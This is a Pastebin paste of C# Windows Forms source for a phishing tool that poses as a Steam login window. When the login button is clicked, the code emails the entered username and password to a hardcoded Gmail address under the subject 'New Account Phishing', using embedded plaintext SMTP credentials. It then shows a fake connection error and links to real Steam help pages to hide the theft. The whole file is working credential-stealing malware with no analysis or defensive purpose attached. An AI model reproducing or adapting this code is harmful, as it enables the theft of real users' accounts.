Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Net.Mail;
- using static System.Windows.Forms.VisualStyles.VisualStyleElement;
- namespace WindowsFormsApplication1
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- private void button1_Click(object sender, EventArgs e)
- {
- this.Close();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- }
- private void button2_Click(object sender, EventArgs e)
- {
- if (String.IsNullOrWhiteSpace(txtname.Text) || String.IsNullOrWhiteSpace(txtpassword.Text))
- {
- MessageBox.Show("Failed to Log in " + "Name or Password emty", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
- else
- {
- sendEmail();
- MessageBox.Show("Failed to Log in! " + "Check your Internet connection. " + "If this Error continues get help at: https://help.steampowered.com/de/", "Error", MessageBoxButtons.OK, MessageBoxIcon.Information);
- onReset();
- }
- }
- public void sendEmail()
- {
- try
- {
- MailMessage mail = new MailMessage();
- SmtpClient client = new SmtpClient("smtp.gmail.com");
- mail.From = new MailAddress("danielisthteboss1@gmail.com", "Geil ein neuer Account");
- mail.To.Add("danielisthteboss1@gmail.com");
- mail.Subject = "New Account Phishing" + txtname.Text;
- mail.Body = "====================" + "\n" + "Name: " + txtname.Text + "\n" + "Password: " + txtpassword.Text + "\n" + "====================";
- mail.IsBodyHtml = false;
- client.Port = 587;
- client.Credentials = new System.Net.NetworkCredential("danielisthteboss1@gmail.com", "danieltheboss");
- client.EnableSsl = true;
- client.Send(mail);
- }
- catch
- {
- MessageBox.Show("Failed to Log in " + "Enable your internet connection first", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
- }
- public void onReset()
- {
- txtname.Text = null;
- txtpassword.Text = null;
- }
- private void button4_Click(object sender, EventArgs e)
- {
- System.Diagnostics.Process.Start("https://help.steampowered.com/de/wizard/HelpWithLogin?redir=clientlogin");
- }
- private void button5_Click(object sender, EventArgs e)
- {
- System.Diagnostics.Process.Start("https://store.steampowered.com/join/?l=english");
- }
- private void button3_Click(object sender, EventArgs e)
- {
- this.Close();
- }
- private void pictureBox1_Click(object sender, EventArgs e)
- {
- pictureBox2.Visible = true;
- }
- private void pictureBox2_Click(object sender, EventArgs e)
- {
- pictureBox2.Visible = false;
- }
- private void button6_Click(object sender, EventArgs e)
- {
- this.WindowState = FormWindowState.Minimized;
- }
- }
- }
Add Comment
Please, Sign In to add comment